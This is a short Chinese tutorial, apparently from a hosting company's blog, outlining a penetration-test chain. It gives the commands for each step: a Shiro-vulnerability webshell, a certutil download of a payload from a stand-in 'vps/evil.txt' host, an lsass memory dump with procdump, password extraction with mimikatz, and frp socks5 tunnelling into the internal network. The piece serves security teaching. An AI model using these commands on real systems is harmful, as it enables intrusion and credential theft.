本篇内容介绍了“如何理解渗透测试流程：getshell，内存提取密码，内网渗透”的有关知识，在实际案例的操作过程中，不少人都会遇到这样的困境，接下来就让小编带领大家学习一下如何处理这些情况吧！希望大家仔细阅读，能够学有所成！
通过shiro框架漏洞拿到webshell——上传相关工具procdump.exe读取内存并导出为dmp文件——使用mimikatz进行密码破解——用frp进行反向代理——使用破解的账户密码登录服务器。
通过shiro工具进行测试：关于shiro和工具参考：https://www.cnblogs.com/xiaozi/p/13239046.html
获取webshell,有些时候如果获取不到可以通过远程下载的办法下载shell:certutil -urlcache -split -f http://vps/evil.txt test.jsp
上传procdump.exe
下载地址：https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
执行命令：procdump64.exe -accepteula -ma lsass.exe
说明：lsass.exe是windows系统的一个重要进程，里面存着（登录过的）系统账户和密码
把dmp文件下载下来，使用mimikatz进行密码破解：
先导入dmp文件，命令：sekurlsa::minidump lass*.dmp
读取账户密码，命令：sekurlsa::logonpasswords
然后搭建frp梯子：
实战还是多用用plugin = socks5,这个参数可以帮你进行全局代理。
用拿到的账号密码登录服务器：
“如何理解渗透测试流程：getshell，内存提取密码，内网渗透”的内容就介绍到这里了，感谢大家的阅读。如果想了解更多行业相关的知识可以关注亿速云网站，小编将为大家输出更多高质量的实用文章！
免责声明：本站发布的内容（图片、视频和文字）以原创、转载和分享为主，文章观点不代表本网站立场，如果涉及侵权请联系站长邮箱：is@yisu.com进行举报，并提供相关证据，一经查实，将立刻删除涉嫌侵权内容。
